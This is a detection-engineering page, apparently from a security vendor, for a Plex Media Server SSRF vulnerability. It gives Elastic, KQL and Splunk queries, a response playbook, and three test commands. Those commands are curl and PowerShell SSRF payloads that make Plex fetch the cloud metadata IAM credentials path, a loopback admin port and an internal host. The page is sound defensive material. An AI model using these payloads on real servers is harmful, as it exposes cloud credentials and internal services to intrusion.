Detect Plex Media Server SSRF (CVE-2026-96655) in Elastic Security
Detects exploitation of a Server-Side Request Forgery (SSRF) vulnerability in Plex Media Server v1.43.2 and earlier (CVE-2026-96655, CWE-918, CISA KEV). The flaw lets an attacker coerce the Plex server to issue attacker-controlled outbound HTTP(S) requests, enabling access to internal services, cloud metadata endpoints (169.254.169.254), and loopback-bound admin interfaces. Detection focuses on the Plex Media Server process making anomalous outbound connections to internal/metadata/loopback destinations and on inbound requests to SSRF-prone Plex endpoints (e.g., image transcoder/proxy, library metadata refresh, and resources endpoints that fetch remote URLs).
MITRE ATT&CK
- Tactic
- Initial Access Discovery Collection
Elastic Detection Query
sequence by host.id with maxspan=5m
[ process where process.name : ("Plex Media Server*", "Plex Transcoder*") ]
[ network where process.name : ("Plex Media Server*", "Plex Transcoder*") and
network.direction == "egress" and
(
cidrmatch(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "169.254.169.254/32")
) and
not destination.port in (32400, 32469, 1900, 5353) ]Sequences a Plex process start with a subsequent egress connection to internal/metadata/loopback IP space, a signature of server-coerced SSRF requests.
Data Sources
Required Tables
False Positives & Tuning
- LAN media streaming and DLNA discovery
- Plex reaching an internal metadata catalog server
- Security scanners touching the Plex process
Other platforms for CVE-2026-96655
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 SSRF to cloud metadata endpoint via Plex image proxy
Expected signal: Plex Media Server process initiates an outbound connection to 169.254.169.254; Plex access log records the /photo/:/transcode request with an internal url parameter.
- Test 2 SSRF to internal loopback service via Plex resource fetch
Expected signal: Plex process connects to 127.0.0.1:9000; transcoder/access logs show the refresh request with an internal url.
- Test 3 SSRF to internal RFC1918 host via Plex proxy
Expected signal: Plex Media Server.exe makes an outbound TCP connection to 10.10.10.5:8080; Sysmon EventID 3 and Defender DeviceNetworkEvents record it.
References (4)
- https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-96655
Response Playbook
Triage
- Confirm the Plex Media Server version on the host (Settings > General or the server logs); if v1.43.2 or earlier, treat as exploitable per CVE-2026-96655.
- Review the flagged outbound destination: determine whether it is a cloud metadata endpoint (169.254.169.254), loopback admin interface, or an internal service the Plex server has no legitimate reason to contact.
- Pull the Plex Media Server access logs (Plex Media Server.log / transcoder logs) around the connection time and identify the inbound request/endpoint (e.g., /photo/:/transcode, /library/metadata refresh, /resources) that triggered the server-side fetch.
- Identify the source principal/IP of the inbound Plex request and whether it is authenticated and authorized.
Containment
- Block outbound traffic from the Plex host to cloud metadata (169.254.169.254) and to internal management ranges at the host firewall or egress firewall.
- Upgrade Plex Media Server to a fixed version (above v1.43.2) per the Plex security advisory, or isolate the host from the network until patched.
- Restrict Plex remote access and, if not required, disable internet-facing exposure of port 32400 at the perimeter.
Evidence Collection
- Capture Plex Media Server and Plex Transcoder logs, including access and transcoder logs, covering the suspected exploitation window.
- Collect host EDR process and network telemetry for the Plex process tree and preserve firewall/proxy logs showing the SSRF egress.
- If a cloud instance, capture instance metadata service access logs and rotate any IAM credentials reachable via 169.254.169.254.
Escalation Criteria
- !Escalate to IR if the SSRF reached the cloud metadata endpoint or returned credentials/tokens, indicating potential cloud account compromise.
- !Escalate if internal services (admin panels, databases, secrets stores) were successfully contacted or if there is follow-on lateral movement from the Plex host.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Plex Media Server.log and Plex Transcoder access logs showing the exploited endpoint and attacker-supplied URL - >
Host firewall/EDR network records of Plex-initiated egress to internal/metadata addresses - >
Cloud metadata service access logs and any newly-issued IAM session tokens
Tuning Guidance
Baseline the Plex host's legitimate internal talkers (NAS/SMB shares, internal catalog servers) and allowlist those destination IPs to cut noise. Keep standard Plex/DLNA ports (32400, 32469, 1900, 5353) excluded. Alert with higher severity when the destination is the cloud metadata IP (169.254.169.254) or a loopback-bound admin port, and lower severity for RFC1918 destinations on the same subnet as the server.
Hunting Queries
Hunts specifically for Plex processes reaching the cloud instance metadata endpoint, the highest-impact SSRF outcome.
DeviceNetworkEvents | where InitiatingProcessFileName has "Plex" | where RemoteIP == "169.254.169.254" | project Timestamp, DeviceName, RemoteUrl, InitiatingProcessCommandLineindex=edr process_name="Plex*" dest_ip="169.254.169.254" | table _time host process_name dest_ip uriAtomic Red Team Tests
Simulates an SSRF request coercing the server to fetch the cloud instance metadata service through a Plex transcode/proxy endpoint.
Command
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:32400/photo/:/transcode?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&width=100&height=100&X-Plex-Token=TESTTOKEN'Cleanup
echo 'no cleanup required - read-only request'Expected Telemetry
Plex Media Server process initiates an outbound connection to 169.254.169.254; Plex access log records the /photo/:/transcode request with an internal url parameter.
Expected Detection
KQL/CQL/EQL rules fire on Plex process egress to 169.254.169.254.
Coerces the Plex server to request an internal loopback-bound service to enumerate internal endpoints.
Command
curl -s 'http://127.0.0.1:32400/library/metadata/1/refresh?url=http://127.0.0.1:9000/admin&X-Plex-Token=TESTTOKEN'Cleanup
echo 'no cleanup required'Expected Telemetry
Plex process connects to 127.0.0.1:9000; transcoder/access logs show the refresh request with an internal url.
Expected Detection
Rules flag Plex egress into loopback/RFC1918 ranges on a non-standard port.
Simulates Plex being used to reach an internal private-range host, representing internal network discovery via SSRF.
Command
powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing 'http://127.0.0.1:32400/photo/:/transcode?url=http://10.10.10.5:8080/&width=50&height=50&X-Plex-Token=TESTTOKEN' | Out-Null"Cleanup
Write-Host 'no cleanup required'Expected Telemetry
Plex Media Server.exe makes an outbound TCP connection to 10.10.10.5:8080; Sysmon EventID 3 and Defender DeviceNetworkEvents record it.
Expected Detection
Detection matches Plex process connecting to an RFC1918 destination on a non-standard port.